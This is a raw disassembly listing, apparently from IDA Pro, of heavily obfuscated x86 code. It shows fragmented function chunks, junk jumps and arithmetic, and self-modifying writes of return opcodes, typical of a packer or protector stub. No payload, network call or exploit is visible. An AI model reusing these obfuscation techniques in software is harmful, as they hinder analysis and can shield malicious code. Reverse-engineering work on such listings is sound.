; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_74E620:				; CODE XREF: sub_74A7D8:loc_748928j
		mov	eax, [esp+4+var_4]
		push	edx
		call	sub_748C0D
		shr	eax, 12h
		jmp	loc_74E606
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_179. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74E632:				; CODE XREF: _0z4jwtox:0074DA17j
		jmp	loc_74ABA2
; ---------------------------------------------------------------------------


loc_74E637:				; CODE XREF: _0z4jwtox:0074D500j
		add	edi, 444638AAh
		push	offset sub_74F1E7
		jmp	loc_756237
; ---------------------------------------------------------------------------


loc_74E647:				; CODE XREF: _0z4jwtox:loc_747BFBj
		jnz	loc_7536AE
; START	OF FUNCTION CHUNK FOR sub_74D4D3


loc_74E64D:				; CODE XREF: sub_74D4D3+8EC6j
		jmp	loc_74C8BB
; END OF FUNCTION CHUNK	FOR sub_74D4D3
; ---------------------------------------------------------------------------


loc_74E652:				; CODE XREF: _0z4jwtox:007513B3j
		jmp	loc_745E3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749C06


loc_74E657:				; CODE XREF: sub_749C06+Fj
		jmp	nullsub_285
; END OF FUNCTION CHUNK	FOR sub_749C06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A25C


loc_74E65C:				; CODE XREF: sub_74A25C-51D3j
		jmp	nullsub_277
; END OF FUNCTION CHUNK	FOR sub_74A25C
; ---------------------------------------------------------------------------
		jl	loc_747EE8
		jmp	loc_74D482
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_74E66C:				; CODE XREF: sub_74AE46-5DC7j
		jns	loc_74AC63
		add	edx, 9E953D87h
		jnp	loc_74C7D2
		mov	[eax], esi
		jmp	loc_745F5F
; END OF FUNCTION CHUNK	FOR sub_74AE46

; =============== S U B	R O U T	I N E =======================================



sub_74E685	proc near		; CODE XREF: _0z4jwtox:007454C7p
					; _0z4jwtox:00747A26j

; FUNCTION CHUNK AT 0074603E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007461FC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00746574 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074B57A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00753BBA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754F9D SIZE 0000000D BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		jmp	loc_754F9D
sub_74E685	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74E693	proc near		; CODE XREF: _0z4jwtox:0074D5AEj
					; sub_7572F3+Ap

; FUNCTION CHUNK AT 007455E6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00749C65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C473 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074FC88 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00750BD5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00753DD1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007554F2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00757214 SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_7494F9
		jmp	loc_757214
sub_74E693	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	edi, 5FE19519h
		jmp	sub_746DB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_74E6B6:				; CODE XREF: sub_74AAC1+5191j
		jle	loc_746406


loc_74E6BC:				; CODE XREF: sub_74AAC1+1695j
		or	ecx, 16A93A3Bh
		push	offset sub_74513A
		jmp	loc_7543E3
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------


loc_74E6CC:				; CODE XREF: _0z4jwtox:0074D4C0j
		test	ebp, 0BC3721D5h
		jmp	loc_7525DC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7510EA


loc_74E6D8:				; CODE XREF: sub_7510EA:loc_7540F9j
		jg	loc_752E3A
		shl	esi, 0Dh


loc_74E6E1:				; CODE XREF: sub_7510EA:loc_74B70Ej
					; _0z4jwtox:00752DCFj
		lea	eax, [ebp-12Dh]
		push	eax
		call	sub_7451D9
		mov	[ebp-4], eax
		jmp	loc_753A23
; END OF FUNCTION CHUNK	FOR sub_7510EA

; =============== S U B	R O U T	I N E =======================================



sub_74E6F5	proc near		; DATA XREF: sub_7553F4+778o

; FUNCTION CHUNK AT 00746C98 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00749F15 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0075696F SIZE 00000005 BYTES

		add	eax, 80717C88h
		mov	eax, [eax]
		mov	al, [eax]
		call	sub_7572F3


loc_74E704:				; CODE XREF: sub_756327-C55Fj
		jmp	loc_749F15
sub_74E6F5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571A1


loc_74E709:				; CODE XREF: sub_7571A1-E0BDj
		jmp	loc_74979B
; END OF FUNCTION CHUNK	FOR sub_7571A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_74E70E:				; CODE XREF: sub_7501AF-7AA9j
		jmp	loc_7568A0
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------

locret_74E713:				; CODE XREF: _0z4jwtox:loc_7450F1j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C38


loc_74E714:				; CODE XREF: sub_755C38-F708j
		jmp	loc_74DD1B
; END OF FUNCTION CHUNK	FOR sub_755C38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74E719:				; CODE XREF: sub_747C22:loc_74D436j
		pop	ecx
		mov	dword ptr [ebp-20h], 1


loc_74E721:				; CODE XREF: sub_747C22+D8C5j
		jnz	loc_747ECE
		push	591C4F6Ch
		pop	eax
		jmp	loc_74D88C
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		push	esi
		call	sub_74667B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74E739:				; CODE XREF: _0z4jwtox:0075127Aj
		jmp	loc_747B08
; ---------------------------------------------------------------------------


loc_74E73E:				; CODE XREF: _0z4jwtox:00749FC1j
		jmp	locret_74FE4F
; ---------------------------------------------------------------------------


loc_74E743:				; CODE XREF: _0z4jwtox:007470D4j
		add	eax, 3F47A420h
		call	sub_746E93
		mov	ds:off_41F150, eax
		lea	eax, loc_74E2C2
		mov	byte ptr [eax],	0C3h
		jmp	loc_74E2C2

; =============== S U B	R O U T	I N E =======================================



sub_74E762	proc near		; CODE XREF: sub_414D55+17p
					; DATA XREF: zugr1819:off_41F154o

; FUNCTION CHUNK AT 007452D6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007452FF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00747912 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00747F80 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00748646 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074926F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074D745 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DED7 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0074E25C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007541FF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00754AE9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00757307 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0075781A SIZE 00000021 BYTES

		jno	loc_7452D6
		mov	eax, ds:dword_747C08
		or	eax, eax
		jmp	loc_7541FF
sub_74E762	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749B95


loc_74E775:				; CODE XREF: sub_749B95+28B0j
		pop	ebx
		ror	eax, 1Dh
		add	eax, 0F304E64Eh
; END OF FUNCTION CHUNK	FOR sub_749B95
; START	OF FUNCTION CHUNK FOR sub_749980


loc_74E77F:				; CODE XREF: sub_749980:loc_746C1Dj
		mov	edx, [esp+0]
		push	esi
		mov	esi, eax
		jmp	loc_756C6F
; END OF FUNCTION CHUNK	FOR sub_749980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74ECEF


loc_74E78A:				; CODE XREF: sub_74ECEF-4AF8j
		rol	ebp, 1Fh


loc_74E78D:				; CODE XREF: sub_74ECEF:loc_74A1DDj
		add	edi, 1B8FC9F7h
		add	edi, edx
		add	edi, 79A6E899h
		jmp	loc_746645
; END OF FUNCTION CHUNK	FOR sub_74ECEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_74E7A0:				; CODE XREF: sub_74AAC1:loc_74D337j
		push	esi
		call	sub_7470E8


loc_74E7A6:				; CODE XREF: sub_753B3E+1D7Aj
		mov	[ebp-10h], eax
		jmp	loc_7558FA
; END OF FUNCTION CHUNK	FOR sub_74AAC1

; =============== S U B	R O U T	I N E =======================================



sub_74E7AE	proc near		; CODE XREF: sub_74BA29+4F0Aj

; FUNCTION CHUNK AT 00748D7F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074ED14 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00754EB3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00756E68 SIZE 0000001B BYTES

		add	esp, 0FFFFFFE4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_754EB3
		jmp	loc_748D7F
sub_74E7AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A094


loc_74E7CB:				; CODE XREF: sub_74A094:loc_74E4CBj
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		push	offset loc_7494C4
		jmp	loc_751F10
; END OF FUNCTION CHUNK	FOR sub_74A094
; ---------------------------------------------------------------------------
		jnz	loc_7473FD
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_74E7E2:				; CODE XREF: sub_74F73B+1868j
		jmp	sub_746CF0
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74504D


loc_74E7E7:				; CODE XREF: sub_74504D+12j
		jmp	loc_7500EF
; END OF FUNCTION CHUNK	FOR sub_74504D
; ---------------------------------------------------------------------------
		push	805E002Fh
		cdq
		jmp	loc_7473FD
; ---------------------------------------------------------------------------


loc_74E7F7:				; CODE XREF: _0z4jwtox:loc_747677j
		test	ecx, 715E4D64h
		jmp	loc_74F4A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C0A0


loc_74E802:				; CODE XREF: sub_74C0A0-1942j
		call	sub_748C3B


loc_74E807:				; CODE XREF: sub_74C670+934Ej
		jmp	loc_746CB5
; END OF FUNCTION CHUNK	FOR sub_74C0A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BCF7


loc_74E80C:				; CODE XREF: sub_74BCF7+7ABFj
		jmp	nullsub_268
; END OF FUNCTION CHUNK	FOR sub_74BCF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74E811:				; CODE XREF: sub_747C22+7B3Bj
		jmp	nullsub_238
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757314


loc_74E816:				; CODE XREF: sub_757314-9DEEj
		jmp	locret_74DC94
; END OF FUNCTION CHUNK	FOR sub_757314
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C38


loc_74E81B:				; CODE XREF: sub_755C38:loc_74DD21j
		push	edx
		call	sub_748C0D
		push	0B9FCD67Ah
		pop	eax
		rol	eax, 6
		jmp	loc_74ADEB
; END OF FUNCTION CHUNK	FOR sub_755C38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_74E82F:				; CODE XREF: sub_7490F6:loc_7527B9j
		sub	al, 99h
		push	offset sub_74A821
		jmp	loc_74EAE4
; END OF FUNCTION CHUNK	FOR sub_7490F6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74E83C:				; CODE XREF: sub_74FE55+6A0Cj
		jmp	loc_755887
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A0BD


loc_74E841:				; CODE XREF: sub_74A0BD+2EB5j
		jmp	loc_753D8D
; END OF FUNCTION CHUNK	FOR sub_74A0BD
; ---------------------------------------------------------------------------


loc_74E846:				; CODE XREF: _0z4jwtox:00747AE7j
		jmp	loc_754618

; =============== S U B	R O U T	I N E =======================================



sub_74E84B	proc near		; CODE XREF: sub_74EA54:loc_74D6A3p
					; _0z4jwtox:0075575Fj

; FUNCTION CHUNK AT 00745FBE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00746C22 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0074E446 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00754C82 SIZE 00000019 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		lea	eax, sub_750715
		call	sub_74E0C2


loc_74E85A:				; CODE XREF: sub_752115+Cj
		jmp	loc_745FBE
sub_74E84B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_74E85F:				; CODE XREF: sub_7543C5:loc_746E05j
		pop	ebx
		rol	ebx, 1Ch
		or	ebx, 4F241C96h
		rol	ebx, 16h
		xor	ebx, 9F67FF60h
		add	ebx, 2CCA4D72h
		popf
		xor	eax, ebx
		jmp	loc_753410
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------


loc_74E880:				; CODE XREF: _0z4jwtox:007536F4j
		xor	esi, 2366AF53h
		test	esi, 8
		jmp	loc_75775A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74E891:				; CODE XREF: sub_747AEC+7D4Dj
		jz	loc_746194
		jmp	loc_750837
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
		mov	ds:dword_41F024, eax
		lea	eax, nullsub_290
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_290
; ---------------------------------------------------------------------------
		call	nullsub_276
		jmp	ds:dword_41F028
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_74E8BB:				; CODE XREF: sub_74C670-4A85j
		jmp	loc_757336
; END OF FUNCTION CHUNK	FOR sub_74C670
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_276. PRESS KEYPAD	"+" TO EXPAND]
		dd offset dword_5C3A44+3C3Dh
		align 2
		jmp	loc_748BB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_74E8CB:				; CODE XREF: sub_747C39-1D71j
		jb	loc_74B2A4
		pop	ebp
		sbb	ebp, 0D8875AF3h
		add	ebp, 0C0265149h


loc_74E8DE:				; CODE XREF: sub_747C39:loc_745EBFj
		or	esi, 92859DC5h
		sub	esi, 2675E6Ch
		add	esi, 0B21916Bh
		mov	[esi], eax
		jmp	loc_75671F
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BED4


loc_74E8F7:				; CODE XREF: sub_74BED4:loc_74BEE3j
		call	sub_750D29


loc_74E8FC:				; CODE XREF: sub_750A63+2E55j
		jl	loc_748FF9


loc_74E902:				; CODE XREF: sub_74E95A+418Ej
		jmp	sub_749FEE
; END OF FUNCTION CHUNK	FOR sub_74BED4
; ---------------------------------------------------------------------------
		xchg	edx, ebx
		sub	eax, 0E14AE3Fh
		jmp	loc_748FF9
; ---------------------------------------------------------------------------


loc_74E914:				; DATA XREF: sub_74B020+7o
		push	edx
		push	edx
		push	0C771792Fh
		pop	edx
		xor	edx, 0AA37B6BEh
		jmp	loc_747E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7541BA


loc_74E927:				; CODE XREF: sub_7541BA-9E5Bj
		jno	loc_74C4AA
		pop	edi
		rol	ecx, 8


loc_74E931:				; CODE XREF: sub_7541BA:loc_754FAAj
		xor	eax, 208FE778h
		or	eax, 4A7EA84Ch
		test	eax, 2
		jmp	loc_75493B
; END OF FUNCTION CHUNK	FOR sub_7541BA
; ---------------------------------------------------------------------------


loc_74E948:				; CODE XREF: _0z4jwtox:loc_755759j
		jnz	loc_748EF0
		jmp	loc_749A25
; ---------------------------------------------------------------------------
		test	ebx, ebp
		jmp	loc_74F735

; =============== S U B	R O U T	I N E =======================================



sub_74E95A	proc near		; CODE XREF: _0z4jwtox:0074BD5Aj
					; _0z4jwtox:loc_752ED9p

; FUNCTION CHUNK AT 0074CF5A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00752ADF SIZE 0000000E BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_746E93
		push	ebx
		push	4D48A0A7h
		pop	ebx
		or	ebx, 115DC189h
		jns	loc_74CF5A
sub_74E95A	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_74E976:				; CODE XREF: sub_7473D1+78AEj
		jmp	loc_751538
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_74E97B:				; CODE XREF: sub_74AAC1+5545j
		jz	loc_757783
		jmp	loc_74AC73
; END OF FUNCTION CHUNK	FOR sub_74AAC1

; =============== S U B	R O U T	I N E =======================================



sub_74E986	proc near		; DATA XREF: sub_7545C6-BC90o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00752792 SIZE 00000006 BYTES

		mov	edx, [esp+0]
		push	eax
		mov	eax, edx
		nop
		mov	eax, [esp+4+var_4]
		jmp	loc_752792
sub_74E986	endp

; ---------------------------------------------------------------------------


loc_74E995:				; CODE XREF: _0z4jwtox:0074DE1Aj
		jl	sub_756834
		ror	ebx, 0Fh
		add	ebp, edx
		test	edi, edx
		jmp	loc_751375
; ---------------------------------------------------------------------------


loc_74E9A7:				; CODE XREF: _0z4jwtox:00745750j
		jno	loc_753942
		shl	edi, 2
		jmp	sub_757251
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74E9B5:				; CODE XREF: sub_74FE55+Cj
		jnz	loc_750193
		jmp	loc_75440C
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7529AB


loc_74E9C0:				; CODE XREF: sub_7529AB:loc_748591j
		push	52E669ABh
		pop	ebx
		or	ebx, 0ED679AAEh
		add	ebx, 5E9CC77Bh
		and	ebx, 96081E39h
		add	ebx, 0EA7502ABh
		xchg	ebx, [esp+0]
		jmp	sub_754E36
; END OF FUNCTION CHUNK	FOR sub_7529AB
; ---------------------------------------------------------------------------


loc_74E9E6:				; CODE XREF: _0z4jwtox:0075307Aj
		ror	eax, 0Bh
		mov	ds:dword_74B958, eax
		retn
; ---------------------------------------------------------------------------


loc_74E9F0:				; CODE XREF: _0z4jwtox:0074A34Dj
		jmp	sub_745715
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75143A


loc_74E9F5:				; CODE XREF: sub_75143A+1B51j
		rol	eax, 0Bh
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_75143A
; ---------------------------------------------------------------------------
		sub	edi, ebx
		jmp	sub_752957
; ---------------------------------------------------------------------------


loc_74EA06:				; CODE XREF: _0z4jwtox:00748686j
		jl	loc_74687E
		and	ecx, 90B2AE1h
		adc	edx, 0FFE56F3Dh
		jns	loc_749B06
		cmp	eax, 31A260CBh
		jmp	loc_7522FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756AA2


loc_74EA29:				; CODE XREF: sub_756AA2:loc_756AB5j
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+8+var_8]


loc_74EA2F:				; CODE XREF: sub_75143A:loc_746334j
		mov	eax, [ebp-1Ch]
		jmp	loc_74503E
; END OF FUNCTION CHUNK	FOR sub_756AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748538


loc_74EA37:				; CODE XREF: sub_748538:loc_756357j
		jz	loc_74F776
		jmp	loc_749015
; END OF FUNCTION CHUNK	FOR sub_748538
; ---------------------------------------------------------------------------
		cmp	esi, edi
		jmp	loc_74AE88
; ---------------------------------------------------------------------------
		add	ebx, 736C0DFDh
		jmp	loc_745F31

; =============== S U B	R O U T	I N E =======================================



sub_74EA54	proc near		; CODE XREF: _0z4jwtox:0075055Bj
					; sub_7474B9+BA91p

; FUNCTION CHUNK AT 0074BB05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D6A3 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	[edx], eax
		pop	edx
		jmp	loc_74BB05
sub_74EA54	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74EA60	proc near		; DATA XREF: sub_75043C+7132o
		mov	esi, eax
		pop	eax
		lea	eax, sub_74CF82
		mov	byte ptr [eax],	0C3h
		jmp	sub_74CF82
sub_74EA60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF82


loc_74EA71:				; CODE XREF: sub_74CF82j
		xchg	edi, [esp+0]
		mov	edx, edi
		pop	edi
		mov	eax, [esp+0]
		jmp	loc_74BF14
; END OF FUNCTION CHUNK	FOR sub_74CF82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755E40


loc_74EA7F:				; CODE XREF: sub_747A94:loc_7488BFj
					; sub_755E40-1609j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_746199
		jmp	loc_756656
; END OF FUNCTION CHUNK	FOR sub_755E40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B44


loc_74EA90:				; CODE XREF: sub_748B44+A6F5j
		or	edx, 8C5BFC94h
		and	edx, 2377738Dh
		rol	edx, 0Dh
		test	edx, 800h
		jmp	loc_75679A
; END OF FUNCTION CHUNK	FOR sub_748B44
; ---------------------------------------------------------------------------
		xchg	ebx, [edi]
		jmp	sub_7507C6
; ---------------------------------------------------------------------------


loc_74EAB1:				; CODE XREF: _0z4jwtox:0075240Fj
		test	eax, 65FA15BEh
		jmp	loc_756E28
; ---------------------------------------------------------------------------
		mov	ds:dword_41F12C, eax
		call	sub_750FBF
; START	OF FUNCTION CHUNK FOR sub_74C7A2


loc_74EAC7:				; CODE XREF: sub_74C7A2+10j
		jmp	loc_74D28C
; END OF FUNCTION CHUNK	FOR sub_74C7A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_74EACC:				; CODE XREF: sub_752D11:loc_74987Bj
		add	edi, 11392EF0h
		test	edi, eax
		jmp	loc_74BEFE
; END OF FUNCTION CHUNK	FOR sub_752D11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_749088
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_74EAE4:				; CODE XREF: sub_7490F6+5740j
		jmp	nullsub_120
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------


loc_74EAE9:				; CODE XREF: _0z4jwtox:007509BAj
		mov	byte ptr [ebx],	87h
		pop	ebx
		push	673D8DAh
		pop	edi
		jmp	loc_753A8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_74EAF8:				; CODE XREF: sub_748A22+5109j
		jo	loc_74C943
		push	edx
		jmp	loc_756EC0
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------


loc_74EB04:				; CODE XREF: _0z4jwtox:loc_7502C9j
					; _0z4jwtox:007502D9j
		and	ebx, 0D52EDD4Ah
		add	ebx, 3A583713h
		and	ebx, 65176F78h
		add	ebx, 0BF62316Dh
		popf
		push	offset sub_7531AF
		jmp	locret_75271E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_287. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754DFF


loc_74EB28:				; CODE XREF: sub_754DFF-E4CAj
		jmp	loc_74DC1C
; END OF FUNCTION CHUNK	FOR sub_754DFF
; ---------------------------------------------------------------------------
		jmp	ds:off_41F08C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74763A


loc_74EB33:				; CODE XREF: sub_74763A:loc_7480C6j
					; _0z4jwtox:0074F261j ...
		jnb	loc_747642
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	ecx
		jmp	loc_74AE08
; END OF FUNCTION CHUNK	FOR sub_74763A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B525


loc_74EB43:				; CODE XREF: sub_74B525:loc_74A9ECj
		mov	ebp, esp
		js	sub_74BE45
		add	esp, 0FFFFFED8h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		jmp	loc_745502
; END OF FUNCTION CHUNK	FOR sub_74B525

; =============== S U B	R O U T	I N E =======================================



sub_74EB61	proc near		; DATA XREF: sub_74BDFA:loc_745168o

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074C0F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753204 SIZE 00000018 BYTES

		push	edi
		push	edx
		pop	edi
		xchg	edi, [esp+4+var_4]
		push	eax
		push	2B91595Eh
		jmp	loc_74C0F2
sub_74EB61	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74EB72:				; CODE XREF: _0z4jwtox:00751E73j
		mov	ebp, 0C4A61FE9h
		jmp	loc_752B24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BA2F


loc_74EB7C:				; CODE XREF: sub_74BA2F:loc_74FE05j
		call	sub_74BDFA


loc_74EB81:				; DATA XREF: sub_74CBCF-4944o
		push	eax
		mov	eax, edx
		call	sub_74A3AB


loc_74EB89:				; CODE XREF: _0z4jwtox:loc_746049j
		mov	eax, [esp+0]
		jmp	loc_756482
; END OF FUNCTION CHUNK	FOR sub_74BA2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_74EB91:				; CODE XREF: sub_74CBCF:loc_750EDEj
		ror	eax, 0Eh
		xor	eax, 0A9261620h
		ror	eax, 11h
		jmp	loc_746018
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_74EBA2:				; CODE XREF: sub_74D23E:loc_755E72j
					; DATA XREF: sub_748A22+E4AEo
		mov	edx, eax
		call	sub_752E0F
		call	sub_74C2C9
		or	eax, eax


loc_74EBB0:				; CODE XREF: _0z4jwtox:007491CBj
		jnz	loc_7465A1
		jmp	loc_74AB20
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749608


loc_74EBBB:				; CODE XREF: sub_749608+1EB7j
		jz	loc_754638


loc_74EBC1:				; CODE XREF: sub_748723-13DDj
		jmp	loc_747A2B
; END OF FUNCTION CHUNK	FOR sub_749608
; ---------------------------------------------------------------------------
		rol	edi, 1Bh
		jmp	loc_75462D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746FBD


loc_74EBCE:				; CODE XREF: sub_746FBD:loc_74EE5Dj
		rol	edx, 13h
		xor	edx, 96F9FAFBh
		xor	eax, edx
		pop	edx
		rol	eax, 0Eh
		jmp	loc_7562D0
; END OF FUNCTION CHUNK	FOR sub_746FBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_74EBE2:				; CODE XREF: sub_7543C5+4j
		call	sub_74CBCF


loc_74EBE7:				; CODE XREF: sub_75504B+19j
		jmp	loc_74AEFC
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_74EBEC:				; CODE XREF: sub_74C670+Fj
		jmp	loc_753B55
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74EBF1:				; CODE XREF: sub_747C22:loc_75658Cj
		xchg	edi, [esp+8+var_8]
